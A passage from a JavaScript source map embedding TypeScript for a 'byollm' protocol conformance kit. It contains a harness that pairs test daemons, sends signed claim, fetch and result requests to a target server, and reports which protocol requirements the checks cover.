Promise<\"done\" | \"aborted\">((resolve) => {\n const timer = setTimeout(() => {\n resolve(\"done\");\n }, this.hangMs);\n request.signal.addEventListener(\n \"abort\",\n () => {\n clearTimeout(timer);\n resolve(\"aborted\");\n },\n { once: true },\n );\n });\n if (hung === \"aborted\") {\n return {\n ok: false,\n code: \"canceled\",\n message: \"the job was canceled\",\n durationMs: Date.now() - started,\n };\n }\n }\n\n return {\n ok: true,\n text: `echo: ${request.prompt}`,\n durationMs: Date.now() - started,\n };\n }\n}\n\nexport interface HarnessDaemon {\n readonly runner: Runner;\n readonly backend: EchoBackend;\n readonly runnerId: string;\n readonly owner: string;\n /** This daemon's keys, so a check can sign as it — or deliberately not. */\n readonly keys: StoredKeys;\n /** This daemon's keys, and the site identities it pinned at pairing. */\n identityKeys(): Promise<StoredKeys>;\n /**\n * The site a single-site check seals to and verifies against.\n *\n * A pairing covers a set now, and every check in this kit pairs with one\n * upstream serving one site — so this is that entry, read from the set\n * rather than kept beside it. Two copies of \"which key opens this\" is the\n * bug the set exists to remove.\n */\n readonly sitePinned: PublicIdentity;\n readonly home: string;\n readonly ingress: IngressLog;\n /** The owner's spend ledger, so a check can drive it past its ceiling. */\n readonly spend: SpendLedger;\n /** The resolved config — the effective offer scope lives here. */\n readonly loaded: LoadedConfig;\n /** Stop cleanly: cancel in-flight work and clean up. */\n dispose(): Promise<void>;\n /**\n * Simulate `kill -9`: clean up the daemon's files but do **not** cancel its\n * in-flight work, so nothing is released and no result is ever reported.\n *\n * Cancelling would make the backend return `canceled`, the runner would\n * dutifully report it, and the job would reach a terminal state — which is\n * the opposite of the lease-reclaim scenario being tested.\n */\n abandon(): Promise<void>;\n}\n\n/** Build the daemon-side config for a given offer scope and backend class. */\nfunction daemonConfig(options: {\n offer: \"private\" | \"team\";\n subscription: boolean;\n metered?: MeteredOptions;\n}): LoadedConfig {\n const metered = options.metered;\n const backendId = metered\n ? (metered.provider ?? \"openai\")\n : options.subscription\n ? \"claude-cli\"\n : \"openai-http\";\n // A named provider carries its own address; only the generic backend and a\n // deliberate override need one written down. Note that a base URL never\n // changes a named provider's cost — that is the point of the checks that\n // use this ({@link MUSTS.COST_NOT_CONFIGURABLE}).\n const baseUrl = metered\n ? metered.baseUrl\n : options.subscription\n ? undefined\n : \"http://127.0.0.1:11434/v1\";\n return resolveConfig(\n DaemonConfig.parse({\n services: {\n primary: {\n model: \"echo-model\",\n kinds: [\"llm.generate\", \"llm.chat\"],\n type: backendId,\n ...(baseUrl === undefined ? {} : { baseUrl }),\n offer: options.offer,\n ...(metered === undefined\n ? {}\n : {\n spend: {\n acknowledged: metered.acknowledged ?? false,\n ...(metered.dailyCapCents === undefined\n ? {}\n : { dailyCapCents: metered.dailyCapCents }),\n },\n }),\n },\n },\n concurrency: 4,\n }),\n );\n}\n\n/**\n * Pair a real daemon against the target and return it, ready to tick.\n *\n * \"Real\" matters: this is the shipped {@link Runner}, doing the shipped\n * pairing exchange, with the shipped allowlist and budget checks. Only the\n * model at the far end is substituted.\n */\n/**\n * A paid backend, and what the owner said about spending on it — byollm_007.\n *\n * The kit needs this because \"who pays\" is visible on the wire: a daemon\n * advertises the *effective* offer scope, so a metered backend nobody\n * consented to share shows up to the server as `self` and the server is\n * obliged to act on that.\n */\nexport interface MeteredOptions {\n /**\n * `openai` takes its cost from the registry; `openai-http` has it inferred\n * from {@link MeteredOptions.baseUrl}.\n */\n readonly provider?: \"openai\" | \"openai-http\";\n readonly baseUrl?: string;\n readonly acknowledged?: boolean;\n readonly dailyCapCents?: number;\n}\n\nexport async function pairDaemon(\n target: ConformanceTarget,\n options: {\n owner: string;\n label?: string;\n /**\n * **Required — no default.** A harness default is part of every test's\n * claim (ruled 2026-08-26), and this one decides whether the device's\n * admission check runs at all. The relay suite's equivalent defaulted to\n * `public` and silently disabled admission in every cross-user check it\n * had; this one defaulted to the safe direction and was still a value no\n * reader of a call site could see.\n */\n offer: \"private\" | \"team\";\n /** Use the subscription-class backend, to exercise the self-lock. */\n subscription?: boolean;\n /** Use a paid backend, to exercise the cost rules. */\n metered?: MeteredOptions;\n },\n): Promise<HarnessDaemon> {\n const home = await mkdtemp(join(tmpdir(), \"byollm-conformance-\"));\n const loaded = daemonConfig({\n offer: options.offer,\n subscription: options.subscription ?? false,\n ...(options.metered === undefined ? {} : { metered: options.metered }),\n });\n\n const budgets = new Budgets(\n join(home, \"budgets.json\"),\n loaded.config.community,\n );\n await budgets.load(Date.now());\n const spend = new SpendLedger(join(home, \"spend.json\"));\n await spend.load(Date.now());\n const ingress = new IngressLog({\n path: join(home, \"ingress.log\"),\n communityPromptDays: 7,\n keepSelfPrompts: true,\n });\n\n const backend = new EchoBackend();\n // `Request` accepts every shape `fetch` does, so the target sees a normal\n // request whether the kit is driving an in-process handler or a real server.\n const fetchImpl: typeof fetch = (input, init) =>\n target.fetch(new Request(input, init));\n\n const capabilities: Capability[] = loaded.routes.map((route) => ({\n kind: route.kind,\n service: route.service,\n backendId: route.backendId,\n backendClass: route.backendClass,\n model: route.model,\n offerScope: route.offerScope,\n }));\n\n const pairingClient = new ProtocolClient({\n origin: target.origin,\n fetch: fetchImpl,\n });\n\n let userCode = \"\";\n // The poll must be abortable and its rejection must always be handled: a\n // check that fails partway through would otherwise leave a pairing loop\n // running, and when the next check's `reset()` wipes the pairings table\n // that orphan turns into an unhandled rejection that kills the whole run\n // instead of failing one check.\n const pairingAbort = new AbortController();\n let pairingError: unknown;\n // A real DeviceIdentity per harness daemon, backed by its own temp home —\n // not a shared fixture. Each simulated daemon is a distinct machine, which\n // is what makes a multi-runner check (C019) mean anything.\n const deviceIdentity = new DeviceIdentity(join(home, \"keys.json\"));\n\n const pairing = connect({\n client: pairingClient,\n daemonVersion: \"conformance\",\n device: await deviceIdentity.publicIdentity(Date.now()),\n label: options.label ?? `daemon-${options.owner}`,\n capabilities,\n onCode: (info) => {\n userCode = info.userCode;\n },\n // A real macrotask, not `Promise.resolve()`: a zero-delay microtask loop\n // never yields to the event loop, so the approval below could never run\n // and the poll would spin until the process died.\n sleep: () => sleep(1),\n signal: pairingAbort.signal,\n }).catch((error: unknown) => {\n pairingError = error;\n return { ok: false as const, reason: \"aborted\" as const, message: \"\" };\n });\n\n try {\n // Approve as soon as the code exists, exactly as a user clicking would.\n await waitFor(() => userCode !== \"\", { what: \"a pairing code\" });\n await target.approvePairing(userCode, options.owner);\n } catch (error) {\n pairingAbort.abort();\n await pairing;\n await rm(home, { recursive: true, force: true });\n throw error;\n }\n\n const result = await pairing;\n if (!result.ok) {\n pairingAbort.abort();\n await rm(home, { recursive: true, force: true });\n throw new Error(\n `conformance harness could not pair: ${\n pairingError instanceof Error ? pairingError.message : result.message\n }`,\n );\n }\n\n const runner = new Runner({\n client: new ProtocolClient({\n origin: target.origin,\n // The harness signs exactly as a daemon does, so certification\n // exercises the real verification path.\n identity: {\n runnerId: result.pairing.runnerId,\n sign: (input) => deviceIdentity.signRequest(input),\n },\n fetch: fetchImpl,\n }),\n runnerId: result.pairing.runnerId,\n owner: result.pairing.owner,\n identity: {\n keys: () => deviceIdentity.load(Date.now()),\n // Pinned at pairing, exactly as a real daemon does — the set the\n // upstream answered with, keyed by each site's identity key id\n // (cloud_009 §5). A direct site is one entry.\n sites: new Map(Object.entries(result.pairing.sites)),\n },\n daemonVersion: \"conformance\",\n loaded,\n budgets,\n spend,\n ingress,\n backendFactory: () => backend,\n });\n\n return {\n runner,\n backend,\n runnerId: result.pairing.runnerId,\n owner: result.pairing.owner,\n keys: await deviceIdentity.load(Date.now()),\n identityKeys: () => deviceIdentity.load(Date.now()),\n sitePinned: Object.values(result.pairing.sites)[0] as PublicIdentity,\n home,\n ingress,\n spend,\n loaded,\n dispose: async () => {\n runner.cancelAll();\n // Wait for cancelled jobs to finish unwinding before removing the\n // directory: a job still writing its outcome to the ingress log would\n // otherwise fail on a path that no longer exists.\n await waitFor(() => runner.status().activeJobs === 0, {\n timeoutMs: 2_000,\n what: \"in-flight jobs to unwind\",\n }).catch(() => undefined);\n await removeHome(home);\n },\n abandon: async () => {\n await removeHome(home);\n },\n };\n}\n\n/**\n * The id this target uses for a person, given the friendly name the checks\n * use. Identity when the target does not translate.\n */\nexport async function ownerIdFor(\n target: ConformanceTarget,\n name: string,\n): Promise<string> {\n return target.ownerId ? target.ownerId(name) : name;\n}\n\n/** Poll a predicate until it holds or the deadline passes. */\nexport async function waitFor(\n predicate: () => boolean | Promise<boolean>,\n options: { timeoutMs?: number; intervalMs?: number; what?: string } = {},\n): Promise<void> {\n const timeoutMs = options.timeoutMs ?? 5_000;\n const intervalMs = options.intervalMs ?? 10;\n const deadline = Date.now() + timeoutMs;\n\n for (;;) {\n if (await predicate()) return;\n if (Date.now() >= deadline) {\n throw new Error(\n `timed out after ${String(timeoutMs)}ms waiting for ${options.what ?? \"a condition\"}`,\n );\n }\n await sleep(intervalMs);\n }\n}\n\nexport function sleep(ms: number): Promise<void> {\n return new Promise((resolve) => setTimeout(resolve, ms));\n}\n\n/**\n * Move the target's clock forward, faking it if the target can and genuinely\n * waiting if it cannot.\n */\n/**\n * Longest real sleep a check may ask of a target that cannot fake time.\n *\n * A target with no `advanceTime` waits for real, so a check written against\n * the reference server's fake clock can silently become a ten-minute hang\n * somewhere else — which is exactly what `C020_PAIR_CODE_EXPIRES` did on the\n * Supabase target, whose pairing TTL was still the ten-minute product\n * default. Failing fast with the number in the message turns \"CI is stuck\"\n * into \"configure a shorter TTL on this target\".\n */\nconst MAX_REAL_WAIT_MS = 30_000;\n\nexport async function advance(\n target: ConformanceTarget,\n ms: number,\n): Promise<void> {\n if (target.advanceTime) {\n await target.advanceTime(ms);\n } else {\n if (ms > MAX_REAL_WAIT_MS) {\n throw new Error(\n `this check needs to advance ${String(Math.round(ms / 1000))}s and ` +\n `\"${target.name}\" cannot fake time, so it would sleep for real. ` +\n `Configure a shorter TTL on the target, or give it advanceTime().`,\n );\n }\n await sleep(ms);\n }\n await target.sweep();\n}\n\n/**\n * Claim one job over the protocol wire, bypassing the runner.\n *\n * `runner.tick()` claims and *runs*, which is what most checks want. This is\n * for the ones that need to inspect the claim response itself — what the\n * server hands a daemon is a protocol surface in its own right, and the\n * daemon's own handling of it can mask what arrived.\n */\nexport async function claimOne(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n): Promise<ClaimedStub> {\n const capabilities = await daemon.runner.detectCapabilities();\n // Signed, not bearer. This helper predated signed requests and kept\n // sending a token: it 401'd the moment a check actually used it, which\n // C022 had not.\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities,\n max: 1,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n if (response.status !== 200) {\n throw new Error(`claim answered ${String(response.status)}`);\n }\n const parsed = (await response.json()) as { jobs: ClaimedStub[] };\n const job = parsed.jobs[0];\n if (!job) throw new Error(\"claim returned no jobs\");\n return job;\n}\n\n/**\n * Every stub a claim answered with — including none.\n *\n * `claimOne` throws on an empty answer, which is right for the checks that\n * need a job and useless for the one that needs to prove a job was **not**\n * offered. That check is the only thing in the kit that can see the server's\n * half of `AUDIENCE_BOTH_SIDES`: every other check drives a daemon, and a\n * daemon refuses locally, so \"the job did not run\" says nothing about which\n * side refused it.\n */\nexport async function claimRaw(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n /**\n * What this claim advertises, when the check needs to advertise less than\n * the daemon can do. Defaults to everything it detects.\n */\n capabilityOverride?: readonly Capability[],\n): Promise<ClaimedStub[]> {\n const capabilities =\n capabilityOverride ?? (await daemon.runner.detectCapabilities());\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities,\n max: 10,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n if (response.status !== 200) {\n throw new Error(`claim answered ${String(response.status)}`);\n }\n return ((await response.json()) as { jobs: ClaimedStub[] }).jobs;\n}\n\n/**\n * Release one named lease over the wire, signed, as a daemon would.\n *\n * Raw rather than through the runner, because the property under test is what\n * the *server* does with a request naming a particular grant — including a\n * request the daemon would never send twice.\n */\nexport async function releaseLease(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n jobId: string,\n leaseId: string,\n): Promise<Response> {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n leases: [{ jobId, leaseId }],\n reason: \"backend-down\",\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"release\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n return target.fetch(\n new Request(`${target.origin}/byollm/release`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n}\n\n/**\n * Collect a payload for a lease, signed. Returns `null` when refused.\n *\n * A refusal is a normal answer here, not an error: the check asks both\n * whether a held lease can fetch and whether an unheld one cannot.\n */\nexport async function fetchPayload(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n jobId: string,\n leaseId: string,\n): Promise<{ raw: unknown; opened: unknown } | null> {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n jobId,\n leaseId,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"fetch\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/fetch`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n // `null` for a refusal — a normal answer here, not an error.\n if (response.status !== 200) return null;\n\n // Both halves are returned: the raw response, so a check can assert no\n // plaintext crossed the wire, and the opened work, so it can assert the\n // device it was sealed to can still read it.\n const raw = (await response.json()) as { envelope: SealedEnvelope };\n const keys = await daemon.identityKeys();\n const opened = await open({\n envelope: raw.envelope,\n recipientKeys: keys,\n senderIdentityPublic: daemon.sitePinned.identity,\n expected: {\n jobId,\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n direction: \"payload\",\n },\n });\n return {\n raw,\n opened: opened.ok ? (JSON.parse(opened.plaintext) as unknown) : null,\n };\n}\n\n/**\n * Report a result, sealed to the site — with the sealing key left open.\n *\n * `sealWith` defaults to the daemon's own keys, which is what a real daemon\n * does. A check passes something else to be the relay: the request is still\n * signed by the genuine device, so what the site is being asked to swallow is\n * an *outcome* nobody it trusts produced. Separating the two keys is the whole\n * point — an implementation that only checked the request signature would look\n * correct until this check ran.\n */\nexport async function postResult(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n input: {\n jobId: string;\n outcome: JobOutcome;\n sealWith?: StoredKeys;\n disposition?: \"ok\" | \"error\" | \"canceled\";\n /** The grant the work was done under — cloud_008 §1.4a. */\n leaseId: string;\n },\n): Promise<Response> {\n const keys = await daemon.identityKeys();\n const sealer = input.sealWith ?? keys;\n const envelope = await seal({\n // `{ outcome, ran }` — cloud_008 §2.5.\n plaintext: JSON.stringify({\n outcome: input.outcome,\n ran: { model: \"test-model\", backendClass: \"http\", durationMs: 1 },\n }),\n senderKeys: sealer,\n recipientEncryptionPublic: daemon.sitePinned.encryption,\n context: {\n jobId: input.jobId,\n // Always the *device's* key id, even when a relay sealed it: an\n // attacker naming itself would be refused for the wrong reason, and\n // this check exists to prove the signature is what refuses it.\n senderKeyId: keyId(publicIdentityOf(keys).identity),\n recipientKeyId: keyId(daemon.sitePinned.identity),\n deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,\n direction: \"result\",\n },\n });\n\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n jobId: input.jobId,\n leaseId: input.leaseId,\n envelope,\n disposition: input.disposition ?? input.outcome.outcome,\n });\n const signature = signRequest(daemon.keys, {\n endpoint: \"result\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n return target.fetch(\n new Request(`${target.origin}/byollm/result`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n \"x-byollm-runner\": signature.runnerId,\n \"x-byollm-issued-at\": String(signature.issuedAt),\n \"x-byollm-signature\": signature.signature,\n },\n body,\n }),\n );\n}\n\n/**\n * Remove a harness home, tolerating a write that lands mid-removal.\n *\n * `rm -rf` walks a tree; a file created during the walk makes the parent\n * non-empty again and the whole call fails with ENOTEMPTY. The daemon writes\n * lazily — its key file appears the first time anything asks for its\n * identity — so a late call can land after the last job has finished, which\n * is what `dispose` waits for.\n *\n * Retried rather than serialised, because the alternative is the harness\n * knowing every path on which the daemon might touch disk, which it should\n * not have to.\n */\nasync function removeHome(home: string): Promise<void> {\n for (let attempt = 0; attempt < 3; attempt += 1) {\n try {\n await rm(home, { recursive: true, force: true });\n return;\n } catch {\n await sleep(20);\n }\n }\n // A leaked temp directory is not worth failing a conformance run over.\n await rm(home, { recursive: true, force: true }).catch(() => undefined);\n}\n\n/** Enqueue, claim and open one job — the happy path, end to end. */\nexport async function fetchGenuine(\n target: ConformanceTarget,\n daemon: HarnessDaemon,\n owner = \"alice\",\n): Promise<boolean> {\n const marker = \"genuine work\";\n await target.enqueue({\n kind: \"llm.generate\",\n payload: { prompt: marker },\n // The target's own name for the user, not the id it mapped that to —\n // passing a mapped id back in addresses a user the target never made.\n owner,\n audience: \"private\",\n });\n // Retried: an in-memory store makes a job claimable the instant enqueue\n // returns, and a real database does not. Claiming once passes everywhere\n // the kit is developed and fails where it is meant to certify.\n for (let attempt = 0; attempt < 20; attempt += 1) {\n try {\n const stub = await claimOne(target, daemon);\n const fetched = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n return JSON.stringify(fetched?.opened ?? {}).includes(marker);\n } catch {\n await sleep(50);\n }\n }\n return false;\n}\n","import {\n kindsOf,\n MUSTS,\n MUST_IDS,\n mustsVerifiedBy,\n type MustId,\n} from \"@byollm/protocol\";\nimport { CHECKS, type Check } from \"./checks.js\";\nimport type { ConformanceTarget } from \"./target.js\";\n\nexport interface CheckResult {\n readonly check: Check;\n readonly passed: boolean;\n readonly durationMs: number;\n readonly error?: string;\n}\n\nexport interface CertificationReport {\n readonly target: string;\n readonly passed: boolean;\n readonly results: readonly CheckResult[];\n /**\n * MUSTs no check asserts.\n *\n * byollm_001 requires every MUST carry a conformance test id. Reporting the\n * gap rather than hiding it is what keeps that requirement honest as the\n * protocol grows — a new MUST shows up here until someone writes its check.\n */\n readonly uncoveredMusts: readonly MustId[];\n}\n\n/**\n * Run the compatibility contract against a server.\n *\n * \"A server is byollm-compatible when the kit passes\" — this is the function\n * that decides it.\n */\nexport async function certify(\n target: ConformanceTarget,\n options: {\n only?: readonly string[];\n onProgress?: (result: CheckResult) => void;\n } = {},\n): Promise<CertificationReport> {\n const only = options.only;\n const selected = only\n ? CHECKS.filter((check) => only.includes(check.id))\n : CHECKS;\n\n const results: CheckResult[] = [];\n\n for (const check of selected) {\n await target.reset();\n const started = Date.now();\n try {\n await check.run(target);\n const result: CheckResult = {\n check,\n passed: true,\n durationMs: Date.now() - started,\n };\n results.push(result);\n options.onProgress?.(result);\n } catch (error) {\n const result: CheckResult = {\n check,\n passed: false,\n durationMs: Date.now() - started,\n error: error instanceof Error ? error.message : String(error),\n };\n results.push(result);\n options.onProgress?.(result);\n }\n }\n\n return {\n target: target.name,\n passed: results.every((result) => result.passed),\n results,\n uncoveredMusts: uncoveredMusts(selected),\n };\n}\n\n/**\n * `conformance`-kind MUSTs with no check asserting them.\n *\n * This counts only the MUSTs the kit is *able* to assert. It used to count\n * all of them, which made a permanent structural fact — the kit certifies a\n * server, and a third of the MUSTs are properties of a daemon — look like a\n * backlog of ten missing tests. A number that can never reach zero gets\n * ignored, and a number that is ignored is not a check.\n *\n * This one should be zero, and CI keeps it there.\n */\nexport function uncoveredMusts(checks: readonly Check[] = CHECKS): MustId[] {\n const covered = new Set(checks.flatMap((check) => check.musts));\n return mustsVerifiedBy(\"conformance\").filter((id) => !covered.has(id));\n}\n\n/**\n * MUSTs a check claims but which are not verifiable by conformance.\n *\n * The opposite error, and the one that would quietly overstate what a\n * certification means: a check asserting an `operator`-kind MUST would put\n * \"verified\" next to something no third party can check from outside.\n */\nexport function miscoveredMusts(checks: readonly Check[] = CHECKS): MustId[] {\n return [...new Set(checks.flatMap((check) => check.musts))]\n .filter((id) => !kindsOf(MUSTS[id]).includes(\"conformance\"))\n .sort();\n}\n\nconst VERIFICATION_NOTE =\n \"(`adversarial` = proved by the reference daemon's own suites; \" +\n \"`construction` = true by code shape; `operator` = a deployment claim, \" +\n \"verifiable only by audit or source. None is asserted by this run.)\";\n\n/** A human-readable report. */\nexport function formatReport(report: CertificationReport): string {\n const lines: string[] = [];\n lines.push(`byollm conformance — ${report.target}`);\n lines.push(\"\");\n\n for (const result of report.results) {\n lines.push(\n ` ${result.passed ? \"✓\" : \"✗\"} ${result.check.id} ${result.check.title}` +\n ` (${String(result.durationMs)}ms)`,\n );\n if (!result.passed && result.error !== undefined) {\n lines.push(` ${result.error}`);\n }\n }\n\n const failed = report.results.filter((result) => !result.passed).length;\n lines.push(\"\");\n lines.push(\n report.passed\n ? ` ${String(report.results.length)} checks passed — ${report.target} is byollm-compatible.`\n : ` ${String(failed)} of ${String(report.results.length)} checks failed — not compatible.`,\n );\n\n if (report.uncoveredMusts.length > 0) {\n lines.push(\"\");\n lines.push(\" MUSTs this kit can assert but does not yet:\");\n for (const id of report.uncoveredMusts) {\n lines.push(` - ${id}: ${MUSTS[id].statement}`);\n }\n }\n\n // Say what this run did *not* cover, and why — so \"it passes conformance\"\n // is never read as \"every MUST is satisfied\". A certification that hides\n // its own scope is worth less than one that states it.\n const elsewhere = MUST_IDS.filter(\n (id) => !kindsOf(MUSTS[id]).includes(\"conformance\"),\n );\n if (elsewhere.length > 0) {\n lines.push(\"\");\n lines.push(\" Verified elsewhere, not by this kit:\");\n for (const kind of [\"adversarial\", \"construction\", \"operator\"] as const) {\n const ids = elsewhere.filter((id) => kindsOf(MUSTS[id]).includes(kind));\n if (ids.length === 0) continue;\n lines.push(` ${kind}: ${ids.join(\", \")}`);\n }\n lines.push(` ${VERIFICATION_NOTE}`);\n }\n return `${lines.join(\"\\n\")}\\n`;\n}\n"],"mappings":";AAAA;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA,uBAAAA;AAAA,EACA,SAAAC;AAAA,EACA,QAAAC;AAAA,EACA,QAAAC;AAAA,EACA,oBAAAC;AAAA,EACA;AAAA,EACA;AAAA,EACA,oBAAAC;AAAA,EACA,eAAAC;AAAA,EACA;AAAA,OAEK;;;ACfP,SAAS,SAAS,UAAU;AAC5B,SAAS,cAAc;AACvB,SAAS,YAAY;AACrB;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EAEA;AAAA,EACA;AAAA,OAMK;AACP;AAAA,EACE;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,OAKK;AAWA,IAAM,cAAN,MAAqC;AAAA,EACjC,KAAK;AAAA,EACL,QAAQ;AAAA;AAAA,EAER,OAAiB,CAAC;AAAA;AAAA,EAE3B,SAAS;AAAA;AAAA,EAET,UAAU;AAAA;AAAA,EAEV,SAAmB,CAAC,YAAY;AAAA,EAEhC,SAA0D;AACxD,WAAO,QAAQ,QAAQ,EAAE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,EAAE;AAAA,IACpC;AAAA,EACF;AAEA,QAAM,SAAS,OAAO,QAAQ,OAAO,CAAC,WAAW,CAAC,OAAO,MAAM,EAAE;AACjE,QAAM,KAAK,EAAE;AACb,QAAM;AAAA,IACJ,OAAO,SACH,KAAK,OAAO,OAAO,QAAQ,MAAM,CAAC,yBAAoB,OAAO,MAAM,2BACnE,KAAK,OAAO,MAAM,CAAC,OAAO,OAAO,OAAO,QAAQ,MAAM,CAAC;AAAA,EAC7D;AAEA,MAAI,OAAO,eAAe,SAAS,GAAG;AACpC,UAAM,KAAK,EAAE;AACb,UAAM,KAAK,+CAA+C;AAC1D,eAAW,MAAM,OAAO,gBAAgB;AACtC,YAAM,KAAK,SAAS,EAAE,KAAK,MAAM,EAAE,EAAE,SAAS,EAAE;AAAA,IAClD;AAAA,EACF;AAKA,QAAM,YAAY,SAAS;AAAA,IACzB,CAAC,OAAO,CAAC,QAAQ,MAAM,EAAE,CAAC,EAAE,SAAS,aAAa;AAAA,EACpD;AACA,MAAI,UAAU,SAAS,GAAG;AACxB,UAAM,KAAK,EAAE;AACb,UAAM,KAAK,wCAAwC;AACnD,eAAW,QAAQ,CAAC,eAAe,gBAAgB,UAAU,GAAY;AACvE,YAAM,MAAM,UAAU,OAAO,CAAC,OAAO,QAAQ,MAAM,EAAE,CAAC,EAAE,SAAS,IAAI,CAAC;AACtE,UAAI,IAAI,WAAW,EAAG;AACtB,YAAM,KAAK,OAAO,IAAI,KAAK,IAAI,KAAK,IAAI,CAAC,EAAE;AAAA,IAC7C;AACA,UAAM,KAAK,OAAO,iBAAiB,EAAE;AAAA,EACvC;AACA,SAAO,GAAG,MAAM,KAAK,IAAI,CAAC;AAAA;AAC5B;","names":["ENVELOPE_MAX_AGE_MS","keyId","open","seal","PROTOCOL_VERSION","publicIdentityOf","signRequest","PROTOCOL_VERSION","publicIdentityOf","signRequest","seal","keyId","ENVELOPE_MAX_AGE_MS","open"]}
1
+ {"version":3,"sources":["../src/checks.ts","../src/harness.ts","../src/certify.ts"],"sourcesContent":["import {\n AUDIENCES,\n OFFER_SCOPES,\n ClaimedStub,\n ENVELOPE_MAX_AGE_MS,\n keyId,\n open,\n seal,\n PROTOCOL_VERSION,\n PublicIdentity,\n generateKeys,\n publicIdentityOf,\n signRequest,\n verifyPublicIdentity,\n type MustId,\n} from \"@byollm/protocol\";\nimport {\n advance,\n claimOne,\n claimRaw,\n fetchGenuine,\n postResult,\n fetchPayload,\n releaseLease,\n ownerIdFor,\n pairDaemon,\n sleep,\n waitFor,\n} from \"./harness.js\";\nimport type { ConformanceTarget } from \"./target.js\";\n\n/** One certification check. */\nexport interface Check {\n /** Stable id, cited in the report. */\n readonly id: string;\n /** What it proves, in one sentence. */\n readonly title: string;\n /** Which protocol MUSTs it asserts. */\n readonly musts: readonly MustId[];\n /** Throws to fail. */\n run(target: ConformanceTarget): Promise<void>;\n}\n\nfunction assert(condition: boolean, message: string): asserts condition {\n if (!condition) throw new Error(message);\n}\n\nconst prompt = (text = \"hello\") => ({ prompt: text });\n\n/**\n * The compatibility contract, as executable checks.\n *\n * A server is byollm-compatible when every one of these passes against it.\n * Each drives a **real daemon** — the shipped {@link Runner}, the shipped\n * pairing exchange, the shipped allowlist — so what is certified is the\n * behaviour of the pair, not one side's opinion of the other.\n */\nexport const CHECKS: readonly Check[] = [\n {\n id: \"C001_PAIRING_BINDS_ONE_USER\",\n title: \"a runner token is bound to exactly the approving user\",\n musts: [\"PAIR_ONE_USER\", \"PAIR_INTERACTIVE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const alice = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n assert(\n alice.owner === (await ownerIdFor(target, \"alice\")),\n `runner was bound to \"${alice.owner}\", not to the approving user`,\n );\n\n // Alice's private job must not reach Bob's daemon.\n const bob = await pairDaemon(target, {\n owner: \"bob\",\n offer: \"private\",\n });\n assert(\n bob.owner !== alice.owner,\n \"two different approvers produced the same runner owner\",\n );\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"alice's private prompt\"),\n owner: \"alice\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await sleep(50);\n const state = await target.job(job.id);\n assert(\n state?.state === \"queued\",\n `another user's daemon took a self job (state: ${String(state?.state)})`,\n );\n } finally {\n await bob.dispose();\n }\n } finally {\n await alice.dispose();\n }\n },\n },\n\n {\n id: \"C002_JOB_ROUND_TRIP\",\n title:\n \"an enqueued job runs on the owner's daemon and the result comes back\",\n musts: [\"CLAIM_REQUIRES_CAPABILITY\", \"RESULT_IDEMPOTENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"summarise this\"),\n owner: \"alice\",\n });\n\n await daemon.runner.tick();\n await waitFor(async () => (await target.job(job.id))?.state === \"ok\", {\n what: \"the job to complete\",\n });\n\n const finished = await target.job(job.id);\n assert(\n finished?.outcome?.text === \"echo: summarise this\",\n \"the result text did not survive the round trip\",\n );\n assert(\n daemon.backend.seen[0] === \"summarise this\",\n \"the prompt did not reach the 